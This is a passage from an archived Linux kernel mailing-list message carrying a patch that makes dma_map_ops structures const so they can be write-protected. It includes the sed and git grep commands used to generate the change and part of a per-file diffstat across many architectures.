        Helge Deller <deller@gmx.de>, Ingo Molnar <mingo@redhat.com>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Joerg Roedel <joro@8bytes.org>, Jon Mason <jdmason@kudzu.us>,
        Jonas Bo
To: Doug Ledford <dledford@redhat.com>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Jan 11 01:57:36 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cR7EN-0004rD-U9
	for sgi-linux-mips@gmane.org; Wed, 11 Jan 2017 01:57:36 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:52732 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993869AbdAKA5gJM8fx (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 11 Jan 2017 01:57:36 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 11 Jan 2017 01:57:19 +0100 (CET)
Original-Received: from mail-bl2nam02on0065.outbound.protection.outlook.com ([104.47.38.65]:35840
        "EHLO NAM02-BL2-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S23993873AbdAKA5JGVxvx (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 11 Jan 2017 01:57:09 +0100
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=sandiskcorp.onmicrosoft.com; s=selector1-sandisk-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=x4mAUP99qJkiqfQzGF0PwGH24n9be0TO6spmCYtWT+Q=;
 b=SxkprOEOhAzqRWZ1Dnye7tKRVU2zzxGiODR8GaPlSw/8eb0sBAtWdgWAFQg3hMH2dynhw/AbEoF7XHrdkl4ykPeYDY3pAJ4mxmWywFVDadm063dqAVFEDdmwdYHNCN6cdxFoD4ADZ4MUKa2VPTOUH8IBOJQd+GQWlUztyxNrMCQ=
Original-Received: from MWHPR02CA0009.namprd02.prod.outlook.com (10.168.209.147) by
 CY1PR02MB1415.namprd02.prod.outlook.com (10.161.171.151) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
 15.1.829.7; Wed, 11 Jan 2017 00:56:55 +0000
Original-Received: from BY2FFO11FD035.protection.gbl (2a01:111:f400:7c0c::125) by
 MWHPR02CA0009.outlook.office365.com (2603:10b6:300:4b::19) with Microsoft
 SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.845.12 via
 Frontend Transport; Wed, 11 Jan 2017 00:56:54 +0000
Authentication-Results: spf=pass (sender IP is 63.163.107.21)
 smtp.mailfrom=sandisk.com; linux-xtensa.org; dkim=none (message not signed)
 header.d=none;linux-xtensa.org; dmarc=bestguesspass action=none
 header.from=sandisk.com;
Received-SPF: Pass (protection.outlook.com: domain of sandisk.com designates
 63.163.107.21 as permitted sender) receiver=protection.outlook.com;
 client-ip=63.163.107.21; helo=milsmgep15.sandisk.com;
Original-Received: from milsmgep15.sandisk.com (63.163.107.21) by
 BY2FFO11FD035.mail.protection.outlook.com (10.1.14.220) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
 15.1.803.8 via Frontend Transport; Wed, 11 Jan 2017 00:56:53 +0000
Original-Received: from MILHUBIP03.sdcorp.global.sandisk.com (Unknown_Domain [10.201.67.162])
        (using TLS with cipher DHE-RSA-AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        by  (Symantec Messaging Gateway) with SMTP id AA.7A.65426.03085785; Tue, 10 Jan 2017 16:45:37 -0800 (PST)
Original-Received: from milsmgip12.sandisk.com (10.177.9.6) by
 MILHUBIP03.sdcorp.global.sandisk.com (10.177.9.96) with Microsoft SMTP Server
 id 14.3.319.2; Tue, 10 Jan 2017 16:56:51 -0800
X-AuditID: 0ac94369-b62949800001ff92-ac-587580305b4f
Original-Received: from exp-402881.sdcorp.global.sandisk.com ( [10.177.8.100])   by
  (Symantec Messaging Gateway) with SMTP id 00.14.09762.3D285785; Tue, 10 Jan
 2017 16:56:51 -0800 (PST)
X-Mailer: git-send-email 2.11.0
In-Reply-To: <20170111005648.14988-1-bart.vanassche@sandisk.com>
X-Brightmail-Tracker: H4sIAAAAAAAAA01Sa0xbZRjO951LD41dzuqUz02jabJLZpzikLxm7pZNcxKThT8aosu2Zhyh
        ck1LGyHRVIGOMjQNygyloZSxQYF2rIUF5uqgQ7E6KFDdHAMKrJ0UCO10smmZk65Zsn/P+1z/
        vBwlt7MbOVVhiaguVOYrWCkt9R1ofiVNr816bWKVBWNfXAJDXXoWomdrEJxsbmXB9s+/DFj8
        FTQE/7yJYPmLOA0Rf4yBk845CRhO7YfbEx4MLZE9MPD7igROnU+F+3+X09B0eReszNoQdI4b
        WAg62xn4w2umYLU+hsHY0CWBsGmSheWpQQTmy1M0uG5dY2CwwYShrcNJQbSil4VY1TIDgYsW
        FlpDDmpt6gQNprpaCcz9PIphuHGIhdveL9c4WzkFltVvKKicdGCwDzsk4K3zIIjf+4+B8f4m
        DA+/dSM4N3CThmpzmAWXMcCCp24Ggd7XxkCH8yhcih+GYZcdg9tVR8HS6DQNPb9EKYjc+YmG
        +123GLjX/TWGYK0H79sthAYasVDpMbFCZ2MnEgLXxijhujNT6LbfwEKfeUoixO4cEdxt24XT
        lyJYcLUbWaHpXIgRRhpitLA8MiIRel2LWPBeqUKZWz+QvpUt5qt0ovrVPcekuVXjZ1Bx7QTz
        yV/+UaRHlmm6GqVwhE8n9tkaXI2knJw/g8n5RS+bPC4gsrAUx49dzQNWlBTciFQ/iLMJgeVf
        JyvR+kdVG/gtxLXQLElgiv9qPemyr0vgp/kDZNIWfFRE85vJ1cEKJoFl/F4y9sN1lBx4 
X-Brightmail-Tracker: H4sIAAAAAAAAAyWSW0iTYRzGe9/vuEXxZVFfdREFHeigKVF/yFPZxQtGBV1Udhy6auQJV1Fd
        maecVi5LRV2m6+B0OnVqzXCZUzAtT5tombryFLPaVplZRuXs7sfveeC5eXjKy0mv4BXR5+Vx
        0bLINayUllbxEVtsCRcOb+28ugFUdTMctFTGs+B6dB1BuraYhaKfvxjQdCbRYP/6FoEzYYYG
        R6ebgXTDMAcp2btgvN+M4YEjEBpfT3GQXbUMpr8n0lDYsBOm3hchKLOmsGA3lDLwwZJHwe9c
        NwZVfiUHY+oBFpyDzQjyGgZpMI70MtCcr8ag0xsocCWZWHCnOhmwPdWwUDxaTs1OXaNBnZXJ
        wXBbF4b2ghYWxi03Zl1RIgWa33coSB4ox1DSXs6BJcuMYObHHwaszwsx/M2pRlDR+JaGtLwx
        FowqGwvmrHcI4lt1DOgNJ6F+5hi0G0swVBuzKPjUNURD7UsXBY4vL2iYrhxh4EfNbQz2TDMO
        DiCjjQWYJJvVLCkrKEPE1ttNkT7DAVJT8gaTurxBjri/nCDVuo3kfr0DE2OpiiWFFaMM6ch3
        08TZ0cERk/EjJpamVHRgfZjUP0Ieqbgoj/MJPCU9m2p9iGIz+5lL3zq7UDzSDNFpSMKLwjZR
        23gPpSEp7yVUIbEpwzQXsIKfOOXKneMlwjrROKHlPEwJ6kXiH43Cw4uFEHGgyI49TAtrxVfN
        SYyHFwhBYk/2APt/YJX4NKV71vO8RAgWizVBHu01Wxmzqhg1ml+I5pWipVGKSGXUGUWs 
X-EOPAttributedMessage: 0
X-MS-Office365-Filtering-HT: Tenant
X-Forefront-Antispam-Report: CIP:63.163.107.21;IPV:NLI;CTRY:US;EFV:NLI;SFV:NSPM;SFS:(10009020)(6009001)(7916002)(39840400002)(39410400002)(39850400002)(39860400002)(39450400003)(2980300002)(438002)(199003)(189002)(575784001)(189998001)(36756003)(97736004)(110136003)(7406005)(50986999)(86362001)(626004)(305945005)(69596002)(5660300001)(5003940100001)(2270400002)(106466001)(47776003)(50466002)(38730400001)(6916009)(33646002)(48376002)(92566002)(77096006)(39060400001)(8666007)(68736007)(1076002)(6666003)(76176999)(8676002)(4326007)(54906002)(81166006)(50226002)(81156014)(7416002)(2906002)(2950100002)(111086002)(356003)(8936002)(7366002)(569005);DIR:OUT;SFP:1101;SCL:1;SRVR:CY1PR02MB1415;H:milsmgep15.sandisk.com;FPR:;SPF:Pass;PTR:InfoDomainNonexistent;A:1;MX:1;LANG:en;
X-Microsoft-Exchange-Diagnostics: 1;BY2FFO11FD035;1:0Ye9hpWHCPOicyWIrqmVV7U3RZLHDWIarS1ZyjgMWQvGnJ0J9ms5MI5/ms4Q18xoYknvF7UMPobrdgaNCQSQzVES8URlAoihmkC61thgvyj+n52tZTJo//CFrmxA2Q+ZMyGd1VTeQuboHMhsv/Sz33r6pxF44GVWpwXnlAr17iTOEJ4nBAFqW9R4z2PH1PrIDbhH/7WhB5846zs0NHWr+wv+ski01bPTRjj5vVfyPTeG794bVlQoN14rSLwaJEw+jAWyqomoPrSZvivlV3g6EcieCxyEPeRGsbH4FNMuTxO3tw0EU0N8v1W5wiAbT3Jq6AkNIgNTxp1kKEj5jGeI8EETuIjSdoHlWNgVimex1EkrYcaFNQlS4TTeySpPgUQp4Lqq+wFk38KUcxPM7ofNcOGXvF+o6EhpMN9R6TmGvmoyzLVIAc5/pkyo3SefQo0f7y4zUqg1MxjuTnR3sZ45uppy5TXE79DkdALepfbBdbz/TrhGSNpSPH9KRJZMPlfF0QGNiTmNgVnftWh9eoDhKGMI3X2+/e/2RmBlsdoZrGI=
X-MS-Office365-Filtering-Correlation-Id: 335c1753-5549-465b-f8f9-08d439bcbc2a
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(22001)(8251501002);SRVR:CY1PR02MB1415;
X-Microsoft-Exchange-Diagnostics: 1;CY1PR02MB1415;3:8MLcoKKQkMuNbkIw+ez5a51nIVyjF27TMFzQGY26fGlOE4ODktH/enX/L5KB/EVI3bALoRmKanpsHyptKS38EEHg5aPO53BT0EMsUTczqEaDP5bf28H8kjQGyrGHnXw7dgnHPEm/ekv/ns30eh5L142Uw23bqnmjf1gFgbtdlreTKEDAu/Yyk7y3cB9r1uKj27I8PkfP4fecA8Uo925d91pq8yYbLO4ENSBFJ14pRay8ATAbz4XHOymneyPVcI9ndX43LWEPrlW0UG14n+gQdqAtQVQSMb3TPIW99rNrrLYv5sW1ADmBhTyXAGVK0ACDBEfCYtkfLlKFri6rF2TbtprAEQEOUZx6rB7lK9j4CN62QTGvo7neA+vcdEgAMxFw+dePzVEu5MxzRm315CxXtg==;25:QWiVF/qiBFvPhSx7LGkhSFWvynIEHzDBXywS5bDkIgHM8thk6r/G3VBnUXbUcYjF6B0rtcu6ZxgDm5DSrOKHQLc1MfauvTM0VHZ9PIECQizY27VqCeR4ZuWWcuZdydlxkJas9EjdGM3G9L981jgsA4ScEaqAFP0CQ0NbfmITnW4Xs0c0s+obUhUiCrAlDF3uC+QuFlAwCavWUfJ2R0lU/06nGGBnWqUhMHJRRNT94g8+/eQ2jUQqi5VzGXdI1nIEo+5SpUJKNJQwUm8xvLAP0ZQx34xKA6VxBESapi5d7jpG89mfCc9K1ni1o0hvgjeHKdicnYgb1cIf7sMH
 X7g1R5SK4Y0JkTopLXvTqHGv/Bc4lpS5Yf7Lg7w/2h2UNpqK2nTQjhIo5feXzguz3v3dtllP6EqfLbir0hyrrz0WoKkcxfk7lP 
X-Microsoft-Exchange-Diagnostics: 1;CY1PR02MB1415;31:oryao2Si4BCIpqclXnUSCxfAeNyiLSuvnyCNDo5ryA7m2XE4xtQW2jF1sKh78znW0vgb4UmRxljMft8RSvk6oP/m++SubSjWw6sMzi4k2fR/c7Ajv4CSNYBPLeqJXq0q6xto46LvaebccXejYgbKTKBheMZYko/Zh9cTXQ4aEYbZPjJME0ElHtUYo7uXpIsVBfBwHunP9pUNqDtpDaZPfjyjKcL2GVkH1lklnnqqGsuZzBqy6So4NcvzsohvdQP2MTtJom6uUtzrvZpYHtzqGGROnc6uxYmqtkY6jIDSVsk=;20:KKbxhyfQ8hiyPQ7s90MtjfbnR3qSQpqdw7MHgElpsKX0rfzxhs8563ooiH80hkevVLLzshwxnQlVZoeBOt6ILnfsp4oOQPsTU2yr4b5Z0ApRHJ+7owWE8K9SPX+5DA/M9to0rrM7UYRzJBA3izuNda2mR6CIEow4HnqLgUaFfGVwZM6xZXD9jw20z/FtJa8D6yRHvLasfoRylNdcH1+pIc0/LMqa2Kn1Bum4vtWXk90Epw+SRgCxCOKdXRahe+JNVem0Bf1LscZWLSsmcVJdr5x+TLB/y2z64bknckjY3r15qyo56MIsDARWMX/zBMVtoatZmb3an7W87JUELbNYYwcHqHZfBea1Cjp7LHiG8H4eE4oe4mU6OzM91+AKdfgdSgoJXjDGGG5SLML4xRKKyhAWhMJKAWKw5HD9JHPM4u02NrNdgeI36Hozb/V
 PYjRV6zP8jAq6+SUDoJGkuy+4FX56ZfMyW/D0TeVZv7yGVSqFm7jbjDZaMrl4Gd2q7NQX
X-Microsoft-Antispam-PRVS: <CY1PR02MB1415E9E1715BEAF3CB60A3D181660@CY1PR02MB1415.namprd02.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:(253656608321460)(143289334528602)(180628864354917)(31051911155226)(26323138287068)(9452136761055)(65623756079841)(80048183373757)(258649278758335)(42262312472803);
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(6040375)(601004)(2401047)(13018025)(13016025)(5005006)(8121501046)(3002001)(10201501046)(6055026)(6041248)(20161123560025)(20161123558021)(20161123555025)(20161123562025)(20161123564025)(6072148);SRVR:CY1PR02MB1415;BCL:0;PCL:0;RULEID:;SRVR:CY1PR02MB1415;
X-Microsoft-Exchange-Diagnostics: =?us-ascii?Q?1;CY1PR02MB1415;4:4g9nYJhTqHjBPxxB8RDEKy4G/PvIO9oUA239MUEVyH?=
 =?us-ascii?Q?wOwE2mp9ONJErGmbcJoEb6w0D6yyB+0SlLBzpRecm4cVetOduYuASg4aM1y+?=
 =?us-ascii?Q?6J0MyTGk5OMSjyxMM8GezKlL45TF4S1AFaIQYZUTHjqoqyKeNB2bWAZk1XUe?=
 =?us-ascii?Q?T6fAPJcipOwVdGPcypnslZycxzAiBjOaIPsyg9lhYgqDyjl3qpGeifkV3Wxl?=
 =?us-ascii?Q?7pKuU0CZpbMuK1zLNlQcehyrbXsZbydoPybQO0gK3X+i3Kz2WvEWoX0PyMyA?=
 =?us-ascii?Q?De3dlPpLDNaOfM2jtIW3pqeZsURtJNLTLwMm0m7okkq9fPf4iNov319VhhlI?=
 =?us-ascii?Q?6Odth8PqMmjI3SPDHty4JQiyVb69vxx4UsJAPiMqEUvQmBCYerBKKsW1q+Q2?=
 =?us-ascii?Q?jpLslZQzBFARF972prgfdAlSqD0FNtgZFivz4Ng2r7d9+/eJzSEAHvci0rzc?=
 =?us-ascii?Q?L5/Rhuwe7jYPjgpORIZ3+4IATMApXCsh5/T6hhl6rgzYszDnkLwzjFOJVjqG?=
 =?us-ascii?Q?33dYn/0RhXupfKRsMyZIGqJcA9u3oFwtJS4hqLA3G4RZEdlWUrrvwWKEQL0l?=
 =?us-ascii?Q?3WstTZMDlwVufUUfi500o9bfo9um8g4npUehq5Alqs0BwZFmqMYG17toy7q4?=
 =?us-ascii?Q?k6Edby 
X-Forefront-PRVS: 01842C458A
X-Microsoft-Exchange-Diagnostics: =?us-ascii?Q?1;CY1PR02MB1415;23:NPLnBiLH6mhwpIiwn/t8NGr86G1AK7hsY+PM5Vxhc?=
 =?us-ascii?Q?Nb9JMhsFUTIzQ2PezZX6jh0zDJdrJldkPQWNSwrx4KWHPNTjYgKJPquafKzU?=
 =?us-ascii?Q?+VEpf8uZwQLtUzb/77N9EiCmgxTx/x7xaoNsBwLkSkzDZoIcJy3qFz5m0T3i?=
 =?us-ascii?Q?NMIPeBMrIwtCXkFseHIqbkDBCBNqOR0UubwZnnNYqsiaTk24OwLv4N2ck43M?=
 =?us-ascii?Q?g1hviUdw5/rQaEaS9s25BlpDoc6G8Yp3ARwgNkWkGEIAJQTb3QIq0dPpBXka?=
 =?us-ascii?Q?ZJWctgaFCh/Ixuee5LtnBgsAqU/qxirb2vuvPEj5g/GX8x4SgUQ91kLao+n6?=
 =?us-ascii?Q?uCgkqAnuEGSa53Uc3Bdi/SzKpoCaooLr7ieb9AeK60HhYNNc/qhYz8oMHDvz?=
 =?us-ascii?Q?vxX8/CjsSYWpfounYkT9L2IUyfVYAQ1knKAsBaet+kCOQaq+R2A4roR0Jhab?=
 =?us-ascii?Q?SJTrVa0KfOo3Duf8lTvHsymECCAcD+1hfq1Qcb/0kmxr/vXey/vuqdGZSLwr?=
 =?us-ascii?Q?8bFmnQTE8firlwp/nkYr9G3IQ5P04QPs3Lc33dhGSN4ily3sA28j4mtw7F/6?=
 =?us-ascii?Q?OqQadvdGE8c7DlnuO3dFSDsdmraFszvOpPH7bTVBfBSX92pIvZL6GDrN+Nlg?=
 =?us-ascii?Q?+edz1u 
X-Microsoft-Exchange-Diagnostics: 1;CY1PR02MB1415;6:QyY4mE+7qAXqcGxDYzlcHNkextDclmRFmXV4pCuJwnaSWJ5d2V7DzCXVvhI7NzN4lyIVYJy4JPCOKKl3cacl6xnjrA1VwiiClGHtnj2OZyz6XmoLWDDXPA3R3CuJSYGdcvc5U0pJQpUMUreek66HyQuAPvTlPN/Fz3PjaJlXJLrErx5ZaqmVXYLqNLKVWWEeMvcJ61xJwWs2TdNBis/g7TDq/5eJghle3lTRWOn3XYmJxM/ThBww4OAM/k/bQkbHNPXrFKITCohOOA4XFfc4oy+EDwGjm4Hv70iFRo6N9d7kGLuMt3aLQAQbCpZ7HVGE19sAvijkChCTfVGxiaSoVHvfs6qaFYrOUAKIB2s8M94t1KLy87MpPQ8QCI7hpYlyLHv21KDbiq3ro5V8c1b+ACSuUjX35zWHcm2/pgJ+/zSju09SwLr+mSIRp3IoThtJaCj2Ea4d/iPnWskAmSFghg==;5:JqtE2UnmAcer3P9wfSD955wPvANCCBAe3IzLrZ9hxZcOABrhGifdUovYgeEkHOzmN80sLiPOSq+JkakCmlCLBAxD9PK5BjGLV3GWEZriOTfv12LTUdHleQDIcgi1Nc+VMljGKgKiSSTGGqKp4Z9MVg==;24:Yq7hhQj5pPwJcVpZuD2QMuITs/kB55kMsTLp2qmJGyxxdfA5YLtgHM2UboEyVf6VbPlPC/3gHtgJQZPYfcwAGSItWHdn3BuItudzF0K8DPQ=
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-Microsoft-Exchange-Diagnostics: 1;CY1PR02MB1415;7:R/EydwM00rFnh2FGT/vNWrbB3oyXFyyffbjKAiNSlS+aAQf0gMWTIe9PRZKMK/iQCszMbacpqXbuqxZTPz7KuAm2wP9/5HedJSsux4iqMQ6wSn+1Bffg5gQ94VlOqM1N1Axayv8f4B9GX0QXEVB+oID6mpjDWLkKUQRQl7l9DiSf373ak94iv5E7FXZ47m+KPAI0fWuf7i3SIcgiQ+JgRv7Vn9XUmlem7fOWOnBsKk4Rku1icejp1xKcB52FtuZoFgchT3uCPykgSnu6yVWLVNly6Gq51vB0nD1isdFC6xvksYoA2KhE9T3vx2riUym72SEHOQHJEINvMVxQZ7904PBPdBVH+L6Gx3tsmQmsnWIHUwNqH/G/nhN92chMD/+zsYi10ZqYg5YhIlswib1cvQWv7TjTviiwqAGHvHwiEmLLt3klpBx6uTP0PYSlLI7if69gMOV6TL2nzfMGkPUUJA==
X-OriginatorOrg: sandisk.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 11 Jan 2017 00:56:53.2942
 (UTC)
X-MS-Exchange-CrossTenant-Id: fcd9ea9c-ae8c-460c-ab3c-3db42d7ac64d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=fcd9ea9c-ae8c-460c-ab3c-3db42d7ac64d;Ip=[63.163.107.21];Helo=[milsmgep15.sandisk.com]
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY1PR02MB1415
X-archive-position: 56254
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: bart.vanassche@sandisk.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57422 gmane.linux.drivers.rdma:45412 gmane.linux.kernel:2385086 gmane.linux.kernel.iommu:16547 gmane.linux.ports.alpha:4013 gmane.linux.ports.arm.kernel:549552 gmane.linux.ports.hexagon:1092 gmane.linux.ports.ia64:27571 gmane.linux.kernel.metag:1215 gmane.linux.ports.parisc:27163 gmane.linux.kernel.pci:58092 gmane.linux.ports.sh.devel:54979 gmane.linux.kernel.arc:1987 gmane.linux.ports.ppc64.devel:137139 gmane.linux.ports.sparc:24329
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57422>

Most dma_map_ops structures are never modified. Constify these
structures such that these can be write-protected. This patch
has been generated as follows:

git grep -l 'struct dma_map_ops' |
  xargs -d\\n sed -i \
    -e 's/struct dma_map_ops/const struct dma_map_ops/g' \
    -e 's/const struct dma_map_ops {/struct dma_map_ops {/g' \
    -e 's/^const struct dma_map_ops;$/struct dma_map_ops;/' \
    -e 's/const const struct dma_map_ops /const struct dma_map_ops /g';
sed -i -e 's/const \(struct dma_map_ops intel_dma_ops\)/\1/' \
  $(git grep -l 'struct dma_map_ops intel_dma_ops');
sed -i -e 's/const \(struct dma_map_ops dma_iommu_ops\)/\1/' \
  $(git grep -l 'struct dma_map_ops' | grep ^arch/powerpc);
sed -i -e '/^struct vmd_dev {$/,/^};$/ s/const \(struct dma_map_ops[[:blank:]]dma_ops;\)/\1/' \
       -e '/^static void vmd_setup_dma_ops/,/^}$/ s/const \(struct dma_map_ops \*dest\)/\1/' \
       -e 's/const \(struct dma_map_ops \*dest = \&vmd->dma_ops\)/\1/' \
    drivers/pci/host/*.c
sed -i -e '/^void __init pci_iommu_alloc(void)$/,/^}$/ s/dma_ops->/intel_dma_ops./' arch/ia64/kernel/pci-dma.c
sed -i -e 's/static const struct dma_map_ops sn_dma_ops/static struct dma_map_ops sn_dma_ops/' arch/ia64/sn/pci/pci_dma.c

Signed-off-by: Bart Van Assche <bart.vanassche@sandisk.com>
Reviewed-by: Christoph Hellwig <hch@lst.de>
Cc: Aurelien Jacquiot <a-jacquiot@ti.com>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Chris Zankel <chris@zankel.net>
Cc: David Howells <dhowells@redhat.com>
Cc: David S. Miller <davem@davemloft.net>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Geoff Levand <geoff@infradead.org>
Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Cc: Helge Deller <deller@gmx.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Jesper Nilsson <jesper.nilsson@axis.com>
Cc: Joerg Roedel <joro@8bytes.org>
Cc: Jon Mason <jdmason@kudzu.us>
Cc: Jonas Bonn <jonas@southpole.se>
Cc: Ley Foon Tan <lftan@altera.com>
Cc: Mark Salter <msalter@redhat.com>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Mikael Starvik <starvik@axis.com>
Cc: Muli Ben-Yehuda <mulix@mulix.org>
Cc: Rich Felker <dalias@libc.org>
Cc: Russell King <linux@armlinux.org.uk>
Cc: Stafford Horne <shorne@gmail.com>
Cc: Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>
Cc: Stefano Stabellini <sstabellini@kernel.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: x86@kernel.org
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: iommu@lists.linux-foundation.org
Cc: linux-alpha@vger.kernel.org
Cc: linux-am33-list@redhat.com
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-c6x-dev@linux-c6x.org
Cc: linux-cris-kernel@axis.com
Cc: linux-hexagon@vger.kernel.org
Cc: linux-ia64@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-metag@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-pci@vger.kernel.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: linux-snps-arc@lists.infradead.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: nios2-dev@lists.rocketboards.org
Cc: openrisc@lists.librecores.org
Cc: sparclinux@vger.kernel.org
Cc: uclinux-h8-devel@lists.sourceforge.jp
Cc: xen-devel@lists.xenproject.org
---
 arch/alpha/include/asm/dma-mapping.h               |  4 +--
 arch/alpha/kernel/pci-noop.c                       |  4 +--
 arch/alpha/kernel/pci_iommu.c                      |  4 +--
 arch/arc/include/asm/dma-mapping.h                 |  4 +--
 arch/arc/mm/dma.c                                  |  2 +-
 arch/arm/common/dmabounce.c                        |  2 +-
 arch/arm/include/asm/device.h                      |  2 +-
 arch/arm/include/asm/dma-mapping.h                 | 10 +++---
 arch/arm/mm/dma-mapping.c                          | 22 ++++++------
 arch/arm/xen/mm.c                                  |  4 +--
 arch/arm64/include/asm/device.h                    |  2 +-
 arch/arm64/include/asm/dma-mapping.h               |  6 ++--
 arch/arm64/mm/dma-mapping.c                        |  6 ++--
 arch/avr32/include/asm/dma-mapping.h               |  4 +--
 arch/avr32/mm/dma-coherent.c                       |  2 +-
 arch/blackfin/include/asm/dma-mapping.h            |  4 +--
 arch/blackfin/kernel/dma-mapping.c                 |  2 +-
 arch/c6x/include/asm/dma-mapping.h                 |  4 +--
 arch/c6x/kernel/dma.c                              |  2 +-
 arch/cris/arch-v32/drivers/pci/dma.c               |  2 +-
 arch/cris/include/asm/dma-mapping.h                |  6 ++--
 arch/frv/include/asm/dma-mapping.h                 |  4 +--
 arch/frv/mb93090-mb00/pci-dma-nommu.c              |  2 +-
 arch/frv/mb93090-mb00/pci-dma.c                    |  2 +-
 arch/h8300/include/asm/dma-mapping.h               |  4 +--
 arch/h8300/kernel/dma.c                            |  2 +-
 arch/hexagon/include/asm/dma-mapping.h             |  4 +--
 arch/hexagon/kernel/dma.c                          |  4 +--
 arch/ia64/hp/common/hwsw_iommu.c                   |  4 +--
 arch/ia64/hp/common/sba_iommu.c                    |  4 +--
 arch/ia64/include/asm/dma-mapping.h                |  2 +-
 arch/ia64/include/asm/machvec.h                    |  4 +--
 arch/ia64/kernel/dma-mapping.c                     |  4 +--
 arch/ia64/kernel/pci-dma.c                         | 10 +++---
 arch/ia64/kernel/pci-swiotlb.c                     |  2 +-
 arch/m32r/include/asm/device.h                     |  2 +-
 arch/m32r/include/asm/dma-mapping.h                |  2 +-
 arch/m68k/include/asm/dma-mapping.h                |  4 +--
 arch/m68k/kernel/dma.c                             |  2 +-
 arch/metag/include/asm/dma-mapping.h               |  4 +--
 arch/metag/kernel/dma.c                            |  2 +-
 arch/microblaze/include/asm/dma-mapping.h          |  4 +--
 arch/microblaze/kernel/dma.c                       |  2 +-
 arch/mips/cavium-octeon/dma-octeon.c               |  4 +--
 arch/mips/include/asm/device.h                     |  2 +-
 arch/mips/include/asm/dma-mapping.h                |  4 +--
 .../include/asm/mach-cavium-octeon/dma-coherence.h |  2 +-
 arch/mips/include/asm/netlogic/common.h            |  2 +-
 arch/mips/loongson64/common/dma-swiotlb.c          |  2 +-
 arch/mips/mm/dma-default.c                         |  4 +--
 arch/mips/netlogic/common/nlm-dma.c                |  2 +-
 arch/mn10300/include/asm/dma-mapping.h             |  4 +--
 arch/mn10300/mm/dma-alloc.c                        |  2 +-
 arch/nios2/include/asm/dma-mapping.h               |  4 +--
 arch/nios2/mm/dma-mapping.c                        |  2 +-
 arch/openrisc/include/asm/dma-mapping.h            |  4 +--
 arch/openrisc/kernel/dma.c                         |  2 +-
 arch/parisc/include/asm/dma-mapping.h              |  8 ++---
 arch/parisc/kernel/drivers.c                       |  2 +-
 arch/parisc/kernel/pci-dma.c                       |  4 +--
 arch/powerpc/include/asm/device.h                  |  2 +-
 arch/powerpc/include/asm/dma-mapping.h             |  6 ++--
 arch/powerpc/include/asm/pci.h                     |  4 +--
 arch/powerpc/include/asm/swiotlb.h                 |  2 +-
 arch/powerpc/kernel/dma-swiotlb.c                  |  2 +-
 arch/powerpc/kernel/dma.c                          |  6 ++--
